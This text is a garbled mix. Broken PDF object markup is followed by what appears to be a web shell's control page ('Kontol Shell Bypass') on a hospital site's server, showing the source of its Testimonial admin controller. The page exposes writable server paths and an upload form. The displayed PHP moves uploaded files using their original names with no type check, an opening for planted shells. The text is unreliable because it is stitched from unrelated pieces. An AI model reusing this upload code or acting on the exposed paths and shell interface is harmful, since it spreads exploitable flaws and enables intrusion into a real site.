%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/application/controllers/admin/Testimonial.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
error_reporting(0);
class Testimonial extends CI_Controller {

	function __construct() {
        parent::__construct();
        
        if((!isset($_SESSION['is_logged']))||($_SESSION['is_logged']==false))
        {
        	$_SESSION['redirect'] = base_url()."admin/Testimonial/view_testimonials";
        	
        	redirect(base_url().'admin/login');
        }

        $this->load->model('testimonial_model', 'testimonial');
        $this->load->model('nationality_model', 'nationality');
        $this->load->model('department_model', 'department');
        $this->load->model('health_library_model', 'condition');
        
    }
	
	public function index()
	{
		$this->view_testimonials();
	}
	

	
	public function add_testimonial($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		$testimonialID = $id;
		//echo '<script>console.log("add testimonial")
		if($id){
			$records = $this->testimonial->get_testimonial($id);
			echo '<script>console.log("update testimonial")</script>';
			if(!$records){
			show_404();
			}
			else{
				if($records['Testimonial_videourl']) { $uploadvideourl = $records['Testimonial_videourl']; }  else { $uploadvideourl='';}
				if($records['Testimonial_video_thumb']) { $thumbURL = $records['Testimonial_video_thumb']; }  else { $thumbURL='';}
				$data = array(
					'TestimonialID' => $records['TestimonialID'],
					'TestimonialTitle' => $records['TestimonialTitle'],
					'TestimonialPatientName' => $records['TestimonialPatientName'],
					'TestimonialDepartment' => $records['TestimonialDepartment'],
					'TestimonialContent' => $records['TestimonialContent'],
					'TestimonialCondition' => $records['TestimonialCondition'],
					'Testimonial_video_url' => $uploadvideourl,
					'Testimonial_video_thumb' => $thumbURL,
					'TestimonialNationality' => $records['TestimonialNationality'],
					'TestimonialDate' => $records['TestimonialDate'],
					'TestimonialPatientPhoto' => $records['TestimonialPatientPhoto'],
					'TestimonialImage' => $records['TestimonialImage'],
					'TestimonialPriorityOrder' => $records['TestimonialPriorityOrder'],
					'Status' => $records['Status'],
					'TestimonialPageURL' => $records['TestimonialPageURL']
				); 
			
			} 
		

		}
		$post=$this->input->post();
		
		if($post){	
		
			echo '<script>console.log("post")</script>';
			$this->form_validation->set_rules('TestimonialTitle', 'Testimonial Title', 'required');
			$this->form_validation->set_rules('TestimonialDepartment', 'Testimonial Department', 'required');
			$this->form_validation->set_rules('TestimonialContent', 'Testimonial Content', 'required');
			$this->form_validation->set_rules('TestimonialNationality', 'Testimonial Nationality', 'required');
			$this->form_validation->set_rules('TestimonialPageURL', 'Slug', 'required');
			
			if ($this->form_validation->run() == FALSE)
            {
            		echo '<script>console.log("Error in validating doctor")</script>'; //console.log("Error in validating doctor");
  		            $this->load->view('admin/AddTestimonial');
            }
			
			
			else
			{
					
					/************** video thumb embeded only ********/
					if($_POST['upload_video']) { $uploadvideourl = $post['upload_video'];
					$uploadvideothumb = $post['thumb_video'];
					$urlArr = explode("/",$uploadvideothumb);
					$urlArrNum = count($urlArr);
					$youtubeVideoId = $urlArr[$urlArrNum - 1];
					$no = 0;
					echo $thumbURL = 'http://img.youtube.com/vi/'.$youtubeVideoId.'/'.$no.'.jpg';
					
					
					}  else { $uploadvideourl=''; 
					
						$thumbURL='';}
					
					
					/************* video thumb *********************/
					
					if(($_FILES['TestimonialPatientPhoto']['name'])){
					$patient_img =  time().'_'.$_FILES['TestimonialPatientPhoto']['name'];
					$imagename = "uploads/testimonial/testimonialpatient/".$patient_img;
  					$path = move_uploaded_file($_FILES['TestimonialPatientPhoto']['tmp_name'], $imagename);
					}  else {
					$patient_img = $_POST['old_testimonial_patientphoto'];
					
					
					}
					/********************* testimonial_image ************/
					
					if(($_FILES['TestimonialImage']['name'])){
					
					$testimonial_img =  time().'_'.$_FILES['TestimonialImage']['name'];
					$targetFile2 = "uploads/testimonial/testimonialimage/".$testimonial_img;
					$path2 = move_uploaded_file($_FILES['TestimonialImage']['tmp_name'], $targetFile2);
					}  else {
					$testimonial_img = $_POST['old_testimonial_posterimage'];
					}
					
			
					if(isset($post['TestimonialID'])){
					$testimonialID = $post['TestimonialID'];
					

						$insert_data = array(	
						'TestimonialTitle' => $post['TestimonialTitle'],
						'TestimonialPatientName' => $post['TestimonialPatientName'],
						'TestimonialDepartment' => $post['TestimonialDepartment'],
						'TestimonialContent' => $post['TestimonialContent'],
						//'TestimonialCondition' => $post['TestimonialCondition'],
						'Testimonial_videourl'	=> $uploadvideourl,
						'Testimonial_video_thumb'  => $thumbURL,
						'TestimonialNationality' => $post['TestimonialNationality'],
						'TestimonialDate' => $post['TestimonialDate'],
						'TestimonialPatientPhoto' => $patient_img,
						'TestimonialImage' => $testimonial_img,
						'TestimonialPriorityOrder' => $post['TestimonialPriorityOrder'],
						'Status' => $post['Status'],
						'TestimonialPageURL' => $post['TestimonialPageURL']
					);
					
					if($testimonialID){
						$success = $this->testimonial->update_testimonial($insert_data,$testimonialID);
						redirect(base_url()."admin/Testimonial/view_testimonials");
					}
					}
					
					else {
				
					$insert_data = array(	
						'TestimonialTitle' => $post['TestimonialTitle'],
						'TestimonialPatientName' => $post['TestimonialPatientName'],
						'TestimonialDepartment' => $post['TestimonialDepartment'],
						'TestimonialContent' => $post['TestimonialContent'],
						//'TestimonialCondition' => $post['TestimonialCondition'],
						'Testimonial_videourl'	=> $uploadvideourl, 
						'Testimonial_video_thumb'  => $thumbURL,
						'TestimonialNationality' => $post['TestimonialNationality'],
						'TestimonialDate' => $post['TestimonialDate'],
						'TestimonialPatientPhoto' => $patient_img,
						'TestimonialImage' => $testimonial_img,
						'TestimonialPriorityOrder' => $post['TestimonialPriorityOrder'],
						'Status' => $post['Status'],
						'TestimonialPageURL' => $post['TestimonialPageURL']
					);
					
					$success = '';	
					echo '<script>console.log("'.$testimonialID.'")</script>';
					$success = $this->testimonial->insert_testimonial($insert_data);
					echo '<script>console.log("'.$success.'")</script>';
					if($success){
						redirect(base_url()."admin/Testimonial/view_testimonials");

					}
					}
		
			}
       			
		}
		
		$data['nationalities'] = $this->nationality->get_nationalities();
		$data['conditions'] = $this->condition->get_health_conditions();
		$data['departments'] = $this->department->get_departments('DepartmentID, DepartmentName', array('Sub-department','Speciality'));
	
		$this->load->view('admin/AddTestimonial',$data);
	}
	
	
	public function update_testimonial($id){
	
	$this->add_testimonial($id);
	}
	
	
	public function view_testimonial($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
	
		if($id){
		
			$data = $this->testimonial->get_testimonials();
			//print_r($data);
			if(!$records){
				
				show_404();
				
			}
			else{
		
				if($records['Testimonial_videourl']) { $uploadvideourl = $records['Testimonial_videourl']; }  else { $uploadvideourl='';}
				
				if($records['Testimonial_video_thumb']) { $thumbURL = $records['Testimonial_video_thumb']; }  else { $thumbURL='';}
				
				$data = array(
					'TestimonialID' => $records['TestimonialID'],
					'TestimonialTitle' => $records['TestimonialTitle'],
					'TestimonialPatientName' => $records['TestimonialPatientName'],
					'TestimonialDepartment' => $records['TestimonialDepartment'],
					'TestimonialContent' => $records['TestimonialContent'],
					'TestimonialCondition' => $records['TestimonialCondition'],
					'Testimonial_videourl' => $uploadvideourl,
					'Testimonial_video_thumb' => $thumbURL,
					'TestimonialNationality' => $records['TestimonialNationality'],
					'TestimonialDate' => $records['TestimonialDate'],
					'TestimonialPatientPhoto' => $records['TestimonialPatientPhoto'],
					'TestimonialImage' => $records['TestimonialImage'],
					'TestimonialPriorityOrder' => $records['TestimonialPriorityOrder'],
					'Status' => $records['Status'],
					'TestimonialPageURL' => $records['TestimonialPageURL']
				); 
				
			}

		}
		
		
		$this->load->view('admin/ViewTestimonial',$data);
	}
	
	public function remove_testimonial($id)
	{
		
		$data = array();
		if($this->testimonial->delete_testimonial($id)){
		$data['msg'] = 'Testimonial deleted succesfully';
	
		}
		else{
		$data['msg'] = 'Testimonial could not be deleted';
		}		
		$data['records'] = $this->testimonial->get_testimonials();
		if(!$data){
		show_404();
		}
		
		$this->load->view('admin/ViewTestimonials',$data);
		
		}
	/******************* upload image **********/
	private function uploadImage()
    {
        $config['upload_path'] = './uploads/testimonial/';
        $config['allowed_types'] = $this->allowed_img_types;
        $this->load->library('upload', $config);
        $this->upload->initialize($config);
        if (!$this->upload->do_upload('userfile')) {
            log_message('error', 'Image Upload Error: ' . $this->upload->display_errors());
        }
        $img = $this->upload->data();
        return $img['file_name'];
    }
/*********************** end *************/	
	public function view_testimonials()
	{
		
		$data = array();
		
		$data['records'] = $this->testimonial->get_testimonials();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewTestimonials',$data);
	}
	
	
}

Kontol Shell Bypass